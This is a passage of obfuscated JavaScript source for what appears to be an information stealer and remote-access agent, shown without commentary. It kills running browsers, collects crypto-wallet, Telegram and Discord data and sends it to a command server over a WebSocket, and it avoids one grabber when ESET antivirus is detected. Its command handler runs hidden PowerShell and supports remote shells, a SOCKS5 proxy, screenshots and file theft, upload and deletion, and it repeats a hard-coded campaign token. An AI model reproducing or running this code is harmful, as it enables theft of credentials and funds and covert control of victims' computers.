| _0x12802f.ws.send(_0xb8df7e); | |
| } catch (_0x45561a) { | |
| console.error("[Telegram] Failed to send data: WebSocket error", _0x45561a); | |
| } | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| console.log("[Telegram] Collected " + _0x9ade0b.length + " files"); | |
| return _0x9ade0b; | |
| } | |
| var PROCESS_TERMINATE = 0x1, | |
| TH32CS_SNAPPROCESS = 0x2, | |
| INVALID_HANDLE_VALUE = -0x1, | |
| kernel326 = null; | |
| function initFFI3() { | |
| if (kernel326) { | |
| return; | |
| } | |
| try { | |
| kernel326 = Deno.dlopen("kernel32.dll", { | |
| CreateToolhelp32Snapshot: { | |
| parameters: ["u32", "u32"], | |
| result: "pointer" | |
| }, | |
| Process32First: { | |
| parameters: ["pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| Process32Next: { | |
| parameters: ["pointer", "pointer"], | |
| result: "i32" | |
| }, | |
| OpenProcess: { | |
| parameters: ['u32', 'i32', "u32"], | |
| result: "pointer" | |
| }, | |
| TerminateProcess: { | |
| parameters: ["pointer", 'u32'], | |
| result: "i32" | |
| }, | |
| CloseHandle: { | |
| parameters: ["pointer"], | |
| result: "i32" | |
| } | |
| }); | |
| } catch (_0x21c8b6) { | |
| console.error("[KillBrowsers] Failed to initialize FFI:", _0x21c8b6); | |
| } | |
| } | |
| async function killBrowsers() { | |
| console.log("[KillBrowsers] Starting browser process termination..."); | |
| if (!kernel326) { | |
| initFFI3(); | |
| } | |
| if (!kernel326) { | |
| console.error("[KillBrowsers] FFI not initialized"); | |
| return; | |
| } | |
| const _0x103f86 = ["chrome.exe", "msedge.exe", "brave.exe", "opera.exe", "opera_gx.exe", "vivaldi.exe", "browser.exe", "yandex.exe", "chromium.exe"]; | |
| for (let _0x464163 = 0x0; _0x464163 < 0x3; _0x464163++) { | |
| let _0x5a3997 = false; | |
| try { | |
| const _0x3e3c1e = kernel326.symbols["CreateToolhelp32Snapshot"](TH32CS_SNAPPROCESS, 0x0), | |
| _0x21dc37 = Deno.UnsafePointer.value(_0x3e3c1e); | |
| if (!_0x3e3c1e || _0x21dc37 === BigInt(INVALID_HANDLE_VALUE)) { | |
| console.error("[KillBrowsers] Failed to create process snapshot"); | |
| return; | |
| } | |
| const _0x323648 = new ArrayBuffer(0x238), | |
| _0x145b51 = new DataView(_0x323648), | |
| _0x139b9e = new Uint8Array(_0x323648); | |
| _0x145b51.setUint32(0x0, 0x238, true); | |
| const _0x1d9782 = kernel326.symbols.Process32First(_0x3e3c1e, Deno.UnsafePointer.of(_0x323648)); | |
| if (_0x1d9782 === 0x0) { | |
| kernel326.symbols.CloseHandle(_0x3e3c1e); | |
| return; | |
| } | |
| let _0x37cc6c = true; | |
| while (_0x37cc6c) { | |
| const _0x404372 = _0x145b51.getUint32(0x8, true), | |
| _0x11c71e = _0x139b9e.slice(0x2c, 304), | |
| _0x3d36fc = _0x11c71e.indexOf(0x0), | |
| _0x543f75 = new TextDecoder().decode(_0x11c71e.slice(0x0, _0x3d36fc > 0x0 ? _0x3d36fc : 0x104)).toLowerCase(), | |
| _0x544eb2 = _0x103f86.some(_0x4acc04 => _0x543f75 === _0x4acc04.toLowerCase()); | |
| if (_0x544eb2) { | |
| const _0xf4f583 = kernel326.symbols.OpenProcess(PROCESS_TERMINATE, 0x0, _0x404372); | |
| if (_0xf4f583 && Deno.UnsafePointer.value(_0xf4f583) !== 0x0n) { | |
| const _0x3bb85c = kernel326.symbols.TerminateProcess(_0xf4f583, 0x1); | |
| if (_0x3bb85c !== 0x0) { | |
| console.log("[KillBrowsers] Terminated " + _0x543f75 + " (PID: " + _0x404372 + ')'); | |
| _0x5a3997 = true; | |
| } | |
| kernel326.symbols.CloseHandle(_0xf4f583); | |
| } | |
| } | |
| _0x145b51.setUint32(0x0, 0x238, true); | |
| const _0x5a3543 = kernel326.symbols.Process32Next(_0x3e3c1e, Deno.UnsafePointer.of(_0x323648)); | |
| if (_0x5a3543 === 0x0) { | |
| _0x37cc6c = false; | |
| } | |
| } | |
| kernel326.symbols.CloseHandle(_0x3e3c1e); | |
| } catch (_0x498a87) { | |
| console.error("[KillBrowsers] Error:", _0x498a87); | |
| } | |
| if (_0x5a3997) { | |
| await new Promise(_0x4820f6 => setTimeout(_0x4820f6, 0xc8)); | |
| } else { | |
| break; | |
| } | |
| } | |
| console.log("[KillBrowsers] Browser termination completed"); | |
| } | |
| var import_node_buffer8 = require('node:buffer'), | |
| import_node_fs7 = require('node:fs'), | |
| import_node_path7 = __toESM(require('node:path')), | |
| import_node_process8 = __toESM(require('node:process')), | |
| WALLET_PATHS = { | |
| AtomicWallet: "%APPDATA%\\atomic\\Local Storage\\leveldb\\", | |
| Exodus: "%APPDATA%\\exodus\\exodus.wallet\\", | |
| JaxxWallet: "%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\", | |
| Electrum: "%APPDATA%\\Electrum\\wallets\\", | |
| ByteCoin: "%APPDATA%\\bytecoin\\", | |
| Ethereum: "%APPDATA%\\Ethereum\\keystore\\", | |
| Guarda: "%APPDATA%\\Guarda\\Local Storage\\leveldb\\", | |
| Coinomi: "%LOCALAPPDATA%\\Coinomi\\Coinomi\\wallets\\", | |
| Armory: "%APPDATA%\\Armory\\", | |
| ZCash: "%APPDATA%\\Zcash\\" | |
| }; | |
| async function walkDir3(_0x633265, _0x3b86d2 = 0xa, _0x55ddf0 = 0x0) { | |
| const _0x565918 = []; | |
| if (_0x55ddf0 > _0x3b86d2) { | |
| return _0x565918; | |
| } | |
| try { | |
| const _0x4c0389 = await import_node_fs7.promises.readdir(_0x633265, { | |
| withFileTypes: true | |
| }); | |
| for (const _0x4ead0d of _0x4c0389) { | |
| const _0x2237ed = import_node_path7["default"].join(_0x633265, _0x4ead0d.name); | |
| try { | |
| if (_0x4ead0d.isDirectory()) { | |
| const _0x518c6f = await walkDir3(_0x2237ed, _0x3b86d2, _0x55ddf0 + 0x1); | |
| _0x565918.push(..._0x518c6f); | |
| } else if (_0x4ead0d.isFile()) { | |
| _0x565918.push(_0x2237ed); | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x565918; | |
| } | |
| function expandPath4(_0x391faf) { | |
| const _0x2a4105 = import_node_process8["default"].env.APPDATA || '', | |
| _0x3eea65 = import_node_process8["default"].env.LOCALAPPDATA || ''; | |
| return _0x391faf.replace(/%APPDATA%/g, _0x2a4105).replace(/%LOCALAPPDATA%/g, _0x3eea65); | |
| } | |
| async function grabWallets(_0x31cc54) { | |
| console.log("[Wallets] Starting wallet grabber..."); | |
| const _0x114596 = [], | |
| _0x5a14cb = []; | |
| for (const [_0x32b9fb, _0x58f02e] of Object.entries(WALLET_PATHS)) { | |
| const _0x3bb928 = expandPath4(_0x58f02e); | |
| try { | |
| await import_node_fs7.promises.access(_0x3bb928); | |
| _0x5a14cb.push({ | |
| name: _0x32b9fb, | |
| path: _0x3bb928 | |
| }); | |
| console.log("[Wallets] Found wallet: " + _0x32b9fb + " at " + _0x3bb928); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| if (_0x5a14cb.length === 0x0) { | |
| console.log("[Wallets] No wallets found"); | |
| return _0x114596; | |
| } | |
| console.log("[Wallets] Found " + _0x5a14cb.length + " wallet(s)"); | |
| for (const _0x343f94 of _0x5a14cb) { | |
| try { | |
| const _0x49de76 = await walkDir3(_0x343f94.path); | |
| console.log("[Wallets] Collecting " + _0x49de76.length + " files from " + _0x343f94.name); | |
| for (const _0x17ed7b of _0x49de76) { | |
| try { | |
| const _0x1b80d4 = await import_node_fs7.promises.readFile(_0x17ed7b), | |
| _0x5ad8b9 = import_node_path7["default"].relative(_0x343f94.path, _0x17ed7b).replace(/\\/g, '/'), | |
| _0x57ed7b = _0x343f94.name + '/' + _0x5ad8b9; | |
| _0x114596.push({ | |
| relPath: _0x57ed7b, | |
| data: new Uint8Array(_0x1b80d4) | |
| }); | |
| console.log("[Wallets] Added: " + _0x57ed7b + '\x20(' + _0x1b80d4.length + " bytes)"); | |
| if (_0x31cc54) { | |
| const _0x119cd0 = { | |
| huidMd5: _0x31cc54.huidMd5, | |
| token: _0x31cc54.token, | |
| taskOutputs: [{ | |
| id: _0x31cc54.taskId, | |
| type: "stealer-wallets", | |
| status: "completed", | |
| path: _0x57ed7b, | |
| data: import_node_buffer8.Buffer.from(_0x1b80d4), | |
| size: _0x1b80d4.length | |
| }] | |
| }, | |
| _0x2739d8 = await serizalizeCommandFromAgent(_0x119cd0); | |
| try { | |
| _0x31cc54.ws.send(_0x2739d8); | |
| } catch (_0x10657a) { | |
| console.error("[Wallets] Failed to send data: WebSocket error", _0x10657a); | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch (_0x5291a8) { | |
| console.error("[Wallets] Error processing " + _0x343f94.name + ':', _0x5291a8); | |
| continue; | |
| } | |
| } | |
| const _0x456878 = _0x114596.reduce((_0x31468e, _0x283965) => _0x31468e + _0x283965.data.length, 0x0); | |
| console.log("[Wallets] Collected " + _0x114596.length + " files, " + _0x456878 + " bytes"); | |
| return _0x114596; | |
| } | |
| async function executeStealer(_0x35314f) { | |
| console.log("[Stealer] Starting parallel collection..."); | |
| try { | |
| const _0x236d79 = await getSystemInfo(); | |
| console.log("[Stealer] Killing browser processes..."); | |
| await killBrowsers(); | |
| console.log("[Stealer] Browser processes terminated"); | |
| const _0x5882a9 = [grabFiles(_0x35314f), grabTelegram(_0x35314f), grabWallets(_0x35314f), grabGecko(_0x35314f), grabDiscord(_0x35314f)]; | |
| if (_0x35314f.chromeDll && _0x35314f.chromeDll.length > 0x0) { | |
| console.log("[Stealer] Chrome DLL provided, adding v20 collection"); | |
| _0x5882a9.push(grabChromeV20(_0x35314f, _0x35314f.chromeDll)); | |
| } | |
| if (!_0x236d79.avs?.["includes"]("ESET")) { | |
| _0x5882a9.push(grabChrome(_0x35314f)); | |
| } | |
| await Promise.all(_0x5882a9); | |
| console.log("[Stealer] All grabbers completed"); | |
| } catch (_0x5f5289) { | |
| console.error("[Stealer] Error:", _0x5f5289); | |
| throw _0x5f5289; | |
| } | |
| } | |
| var import_node_child_process3 = require('node:child_process'), | |
| import_node_util2 = require('node:util'), | |
| execAsync2 = (0x0, import_node_util2.promisify)(import_node_child_process3.exec); | |
| async function execPowershell(_0x55ef0d) { | |
| const _0x19b03d = await new Promise((_0x1e2a8e, _0x19cba2) => { | |
| const _0x5e19bb = (0x0, import_node_child_process3.spawn)("powershell.exe", ["-WindowStyle", "Hidden", "-NonInteractive", "-NoProfile", "-OutputFormat", "Text", "-Command", "$ProgressPreference = 'SilentlyContinue'; " + _0x55ef0d], { | |
| windowsHide: true | |
| }); | |
| let _0xb4c203 = ''; | |
| _0x5e19bb.stdout.on("data", _0x1c4282 => _0xb4c203 += _0x1c4282); | |
| _0x5e19bb.stderr.on("data", _0x449015 => _0xb4c203 += _0x449015); | |
| _0x5e19bb.on("close", _0x107205 => { | |
| _0x1e2a8e(_0xb4c203.trim()); | |
| }); | |
| const _0x586f32 = setTimeout(() => { | |
| _0x5e19bb.kill("SIGKILL"); | |
| _0x19cba2(new Error("PowerShell command timed out")); | |
| }, 0x7530); | |
| _0x5e19bb.on("close", () => { | |
| clearTimeout(_0x586f32); | |
| }); | |
| }); | |
| return _0x19b03d; | |
| } | |
| async function sendCommand2(_0x42922b, _0x4a12d4) { | |
| console.log("Sending command with task outputs:", _0x4a12d4.taskOutputs?.['map'](_0x5d9340 => _0x5d9340.type)); | |
| const _0x3ad91e = await serizalizeCommandFromAgent(_0x4a12d4); | |
| _0x42922b.send(_0x3ad91e); | |
| } | |
| async function handleMessage(_0x31490e, _0x50a738, _0x1a19da) { | |
| let _0x4c6e49; | |
| try { | |
| _0x4c6e49 = await deserializeCommandToAgent(import_node_buffer9.Buffer.from(_0x31490e)); | |
| } catch (_0x4ed7b3) { | |
| console.error("Failed to deserialize command from server:", _0x4ed7b3); | |
| return; | |
| } | |
| console.log("Received command:", JSON.stringify(_0x4c6e49, null, 0x2)); | |
| if (_0x4c6e49.taskInputs) { | |
| for (const _0x2e7853 of _0x4c6e49.taskInputs) { | |
| try { | |
| switch (_0x2e7853.type) { | |
| case "screenshot": | |
| { | |
| try { | |
| const _0x3aec18 = getScreenshot(), | |
| _0x30f319 = import_node_buffer9.Buffer.from(_0x3aec18); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "screenshot", | |
| status: "completed", | |
| screenshotJpg: _0x30f319 | |
| }] | |
| }); | |
| } catch (_0x538182) { | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "screenshot", | |
| status: "failed", | |
| error: _0x538182 instanceof Error ? _0x538182.message : "Unknown error", | |
| screenshotJpg: import_node_buffer9.Buffer.from([]) | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "powershell-command": | |
| { | |
| const _0x127c01 = await execPowershell(_0x2e7853.command); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "powershell-command", | |
| status: "completed", | |
| output: _0x127c01 | |
| }] | |
| }); | |
| break; | |
| } | |
| case "pty-start": | |
| { | |
| console.log("PTY-START: Starting session " + _0x2e7853.sessionId); | |
| try { | |
| await ptySessionManager.startSession(_0x2e7853.sessionId, _0x2e7853.cols || 0x50, _0x2e7853.rows || 0x18); | |
| console.log("PTY-START: Session " + _0x2e7853.sessionId + " started successfully"); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "pty-start", | |
| status: "completed", | |
| sessionId: _0x2e7853.sessionId | |
| }] | |
| }); | |
| } catch (_0xea611f) { | |
| console.error("PTY-START: Failed to start session " + _0x2e7853.sessionId + ':', _0xea611f); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "pty-start", | |
| status: "failed", | |
| sessionId: _0x2e7853.sessionId, | |
| error: _0xea611f instanceof Error ? _0xea611f.message : "Failed to start PTY session" | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "pty-input": | |
| { | |
| ptySessionManager.writeInput(_0x2e7853.sessionId, _0x2e7853.data); | |
| break; | |
| } | |
| case "pty-resize": | |
| { | |
| ptySessionManager.resize(_0x2e7853.sessionId, _0x2e7853.cols, _0x2e7853.rows); | |
| break; | |
| } | |
| case "pty-stop": | |
| { | |
| console.log("PTY-STOP: Stopping session " + _0x2e7853.sessionId); | |
| ptySessionManager.stopSession(_0x2e7853.sessionId); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "pty-stop", | |
| status: "completed", | |
| sessionId: _0x2e7853.sessionId | |
| }] | |
| }); | |
| break; | |
| } | |
| case "socks5-connect": | |
| { | |
| handleSocks5Connect(_0x2e7853.connectionId, _0x2e7853.targetHost, _0x2e7853.targetPort, _0x50a738, _0x1a19da); | |
| break; | |
| } | |
| case "socks5-data": | |
| { | |
| handleSocks5Data(_0x2e7853.connectionId, _0x2e7853.data); | |
| break; | |
| } | |
| case "socks5-close": | |
| { | |
| handleSocks5Close(_0x2e7853.connectionId); | |
| break; | |
| } | |
| case "list-drives": | |
| { | |
| const _0x264480 = await listDrives(); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "list-drives", | |
| status: _0x264480.error ? "failed" : "completed", | |
| error: _0x264480.error, | |
| drives: _0x264480.drives | |
| }] | |
| }); | |
| break; | |
| } | |
| case "list-files": | |
| { | |
| const _0x265b33 = await listFiles(_0x2e7853.path); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "list-files", | |
| status: _0x265b33.error ? "failed" : "completed", | |
| error: _0x265b33.error, | |
| path: _0x265b33.path, | |
| items: _0x265b33.items | |
| }] | |
| }); | |
| break; | |
| } | |
| case "download-file-from-agent": | |
| { | |
| try { | |
| const _0x4e50e1 = import_node_fs8["default"].readFileSync(_0x2e7853.path), | |
| _0x3b7f81 = import_node_path8["default"].basename(_0x2e7853.path); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "download-file-from-agent", | |
| status: "completed", | |
| path: _0x2e7853.path, | |
| data: _0x4e50e1, | |
| filename: _0x3b7f81 | |
| }] | |
| }); | |
| } catch (_0x35cc68) { | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "download-file-from-agent", | |
| status: "failed", | |
| error: _0x35cc68 instanceof Error ? _0x35cc68.message : "Unknown error", | |
| path: _0x2e7853.path, | |
| data: import_node_buffer9.Buffer.from([]), | |
| filename: '' | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "delete-file": | |
| { | |
| try { | |
| import_node_fs8["default"].unlinkSync(_0x2e7853.path); | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "delete-file", | |
| status: "completed", | |
| path: _0x2e7853.path, | |
| success: true | |
| }] | |
| }); | |
| } catch (_0xa178f) { | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "delete-file", | |
| status: "failed", | |
| error: _0xa178f instanceof Error ? _0xa178f.message : "Unknown error", | |
| path: _0x2e7853.path, | |
| success: false | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "upload-file-to-agent": | |
| { | |
| try { | |
| if (_0x2e7853.data) { | |
| const _0x28fbc9 = import_node_buffer9.Buffer.from(_0x2e7853.data, "base64"); | |
| import_node_fs8["default"].writeFileSync(_0x2e7853.targetPath, _0x28fbc9); | |
| } else if (_0x2e7853.url) { | |
| await downloadFile(_0x2e7853.url, _0x2e7853.targetPath); | |
| } else { | |
| throw new Error("Either url or data must be provided"); | |
| } | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
| token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| taskOutputs: [{ | |
| id: _0x2e7853.id, | |
| type: "upload-file-to-agent", | |
| status: "completed", | |
| targetPath: _0x2e7853.targetPath, | |
| success: true | |
| }] | |
| }); | |
| } catch (_0x2ace4e) { | |
| await sendCommand2(_0x50a738, { | |
| huidMd5: _0x1a19da, | |
